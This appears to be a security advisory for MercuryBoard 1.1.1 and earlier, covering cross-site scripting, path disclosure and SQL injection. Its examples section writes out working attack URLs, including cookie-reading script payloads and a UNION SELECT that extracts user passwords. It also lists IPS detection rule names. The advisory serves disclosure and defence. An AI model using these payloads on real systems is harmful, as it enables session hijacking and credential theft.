SNS Vulnerability

MercuryBoard Cross Site Scripting and Path Disclosure Vulnerabilities

Description

Several vulnerabilities were reported in MercuryBoard, which could be exploited to conduct a Cross Site Scripting attack or disclosure path information. The first flaw results from several input validation errors in the "/func/pm.php" and "/func/members.php" when handling malformed "s", "l", "a", "t", "to" and "re" parameters, which may be exploited to conduct Cross Site Scripting attacks. The second vulnerability resides in the "global.php" file, and could be exploited to determine the installation path by supplying a specially crafted URL. The third issue could be exploited by an administrator to conduct SQL Injection attacks, by supplying a specially crafted URL.
Examples :
XSS - http://www.site.com/mercuryboard/index.php?a='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=post&s='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=cp&s='><script>alert(document.cookie)</script>
Path disclosure - http://www.site.com/mercuryboard/index.php?a=forum&f=2&min=0&n=0
SQL Injection - http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*

Vulnerable Products

Vulnerable Software:
MercuryBoard version 1.1.1 and earlier

Solution

MercuryBoard version 1.1.2 : http://www.mercuryboard.com/index.php?a=downloads

CVE

CVE-2005-0414
CVE-2005-0307
CVE-2005-0306

References

http://www.codebug.org/news.php?subaction=showfull&id=1106604257&archive=&start_from=&ucat=1&

Vulnerability Manager Detection

IPS Protection

ASQ Engine alarm	Available Since
XSS - Prevention - GET : suspicious 'iframe' tag found in URL	3.2.0
XSS - Prevention - POST : suspicious tag with event found in data	3.2.0
XSS - Prevention - GET : suspicious tag with event found in URL	3.2.0
XSS - Prevention - GET : javascript code in flash clickTAG parameter	3.2.0
XSS - Prevention - POST : suspicious 'object' tag found in data	3.2.0
XSS - Prevention - GET : suspicious 'applet' tag found in URL	3.2.0
XSS - Prevention - POST : suspicious 'applet' tag found in data	3.2.0
XSS - Prevention - POST : 'location' javascript object found in data	3.2.0
XSS - Phishing : suspicious 'div' tag found in URL	3.2.0
XSS - Prevention - GET : suspicious 'style' attribute found in URL	3.2.0
XSS - Prevention - POST : javascript code found in data	3.2.0
XSS - Prevention - POST : suspicious 'iframe' tag found in data	3.2.0
XSS - Prevention - POST : code allowing cookie access found in data	3.2.0
XSS - Phishing : suspicious 'a' tag found in URL	3.2.0
XSS - Prevention - GET : cookie access attempt using script language found in URL	3.2.0
XSS - Prevention - GET : suspicious 'embed' tag found in URL	3.2.0
XSS - Prevention - GET : suspicious 'object' tag found in URL	3.2.0
XSS - Phishing : suspicious 'form' tag found in URL	3.2.0
XSS - Prevention - POST : suspicious 'embed' tag found in data	3.2.0
XSS - Prevention - POST : suspicious 'style' tag found in data	3.2.0
XSS - Prevention - GET : javascript code found in URL	3.2.0
XSS - Prevention - GET : 'script' tag in flash clickTAG parameter	3.2.0
XSS - Prevention - POST : suspicious 'div' tag found in data	3.2.0
XSS - Prevention - GET : evasion attempt using tag characters encoding in URL	3.2.0
XSS - Prevention - GET : suspicious 'style' tag found in URL	3.2.0
XSS - Phishing : suspicious 'link' tag found in URL	3.2.0
XSS - Prevention - GET : 'script' tag found in URL	3.2.0
XSS - Prevention - POST : 'script' tag found in data	3.2.0
XSS - Prevention - POST : suspicious 'style' attribute found in data	3.2.0
XSS - Prevention - GET : 'location' javascript object found in URL	3.2.0
XSS - Prevention - GET : suspicious 'div' tag found in URL	3.2.0

Risk level

Moderate

Vulnerability First Public Report Date

2005-01-25

Target Type

Server

Possible exploit

Local & Remote